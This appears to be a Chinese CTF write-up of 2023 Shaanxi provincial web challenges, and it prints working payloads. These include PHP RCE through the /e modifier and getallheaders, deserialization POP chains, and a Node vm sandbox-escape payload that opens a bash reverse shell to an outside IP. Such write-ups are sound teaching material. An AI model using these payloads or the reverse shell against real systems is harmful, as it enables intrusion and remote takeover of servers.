陕西省赛—web-2023
ezrce
但是只做出了这道题目
和那个GXYCTF的禁止套娃差不多
1 |
|
这就是题目的关键代码了
这个代码里的正则是关键/hahaha/e
在PHP中,/e
是一个正则表达式修饰符,它用于将替换字符串作为可执行的PHP代码进行解释。
这里的得到了当前目录下的代码,当我们尝试别的命令执行的时候,发现执行失败,应该是过滤了很多东西了
这里的话我们就尝试读取一下这个waf.php
file_get_contents(array_pop(scandir(pos(localeconv()))))
利用这个代码读取了·waf.php
这个代码是读取最后一个文件的 当然了index.php
也能读取 稍微修改一下这个代码就行了
waf.php
1 |
|
几乎过滤掉了所有东西,只能通过函数方法来进行执行
这里的话参考(禁止套娃)得到了灵感
payload
1 | show_source(session_id(session_start())) |
然后cookie传参就行了 ———> PHPSESSID=/flag
当然还有另一种方法是我看waf.php里面得出的灵感 就是利用这个函数getallheaders
就是需要改图片中这几处就行了 PHPSESSID=eval(next(getallheaders()))
这个为什么能行了,打印一下getallheaders()
这个函数就行了,next的时候就会指向UA头,所以说我们只要控制UA头就能RCE了
两种方法的区别是
- 第一种只能读文件,而且只能猜flag名字
- 第二种是能进行rce,能为所欲为
test
这道题考察的是go的反弹shell
这个玩意没啥用
查看源码 发现有个路径
访问后是这样,我们把index
改成admin
的话
得到了用户名和一段编码过的密码 于是尝试破解
然后登录
让我们上传一个go文件,然后它会帮我们运行
那么我们就去网上找一个由go的反弹shell的文件,然后拿来上传
1 | package main |
(因为这里没有上传入口,所以我们得自己写一个html来强制上传)
1 |
|
成功
总结
- 这题的看起来其实不难,难点是在能想到把
index
改成admin
并且不执著于页面的那个登录框
ezpop
这里的话先查看源码
访问得到
接着访问
进行base64解码得到
然后访问之后拿到题目给的代码
1 |
|
payload
1 | $a=new dark(); |
这里的话其实pop链不难构造,难的是怎么进行命令执行,当时卡了半天没成功
(这里的dark参数要传不同的值得序列化两边,并且使用不同的名字)
还有就是这里的post传参的话是有不可见字符的(复制进sublime就能看见了)
传参进行url编码
1 | %E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop |
因为这里抛出了一个异常,导致destruct方法没有被触发,
我们可以使用 fast destruct
技巧提前触发 __destruct()
这里我们可以删除最后一个大括号 }
:得到flag的base64编码
1 | 本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。 |
PHP序列化冷知识 ——-> 这篇文章可以好好看看
这里的话还有另一种解法就是
1 | $t=new night(); |
把实例化后的night放入到数组里在进行实例化 这样也可以进行绕过
unserialize
访问直接给了代码
1 |
|
这里的给的php太低,如果给高的话,可以直接修改源码里的private
好像是php7以上就可以来着
给了个提示
这些东西就是反射的东西,学过java反射的话应该对这个很熟悉
payload
1 | $flag = new getFlag(); |
这个反射的话去google一下就会出来
这里的编码的原因是因为又是这个不可见字符搞的鬼
总结
- php反射修改属性
- 不可见字符的url编码
这题还有个非预期
1 | a=system%0a('ls /'); |
Esc4pe_T0_Mong0
这道题是一道沙箱逃逸的题目 网上可以搜到CVE
题目给了源码
1 | Code Execution Demo |
代码执行在这一块
1 | const sandbox = {}; |
直接搜索mongo vm 沙箱逃逸就文章就出来了 poc也出来了
但是这里的会对我们传进来的值进行过滤.
这是过滤内容
这里的话因为存在过滤,所以使用with替代.
,用ascii替代其他字符 这里的正则是必须得用ascii 括号里的内容必须得用,括号外的就可以直接写字母
payload
1 | with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,a=52,55,46,b=49,48,a,46,b,a,46,b,54,48,47,b,a,a,a,32,48,62,38,b,34)) |
把ascii转化一下就能看到原本的样子了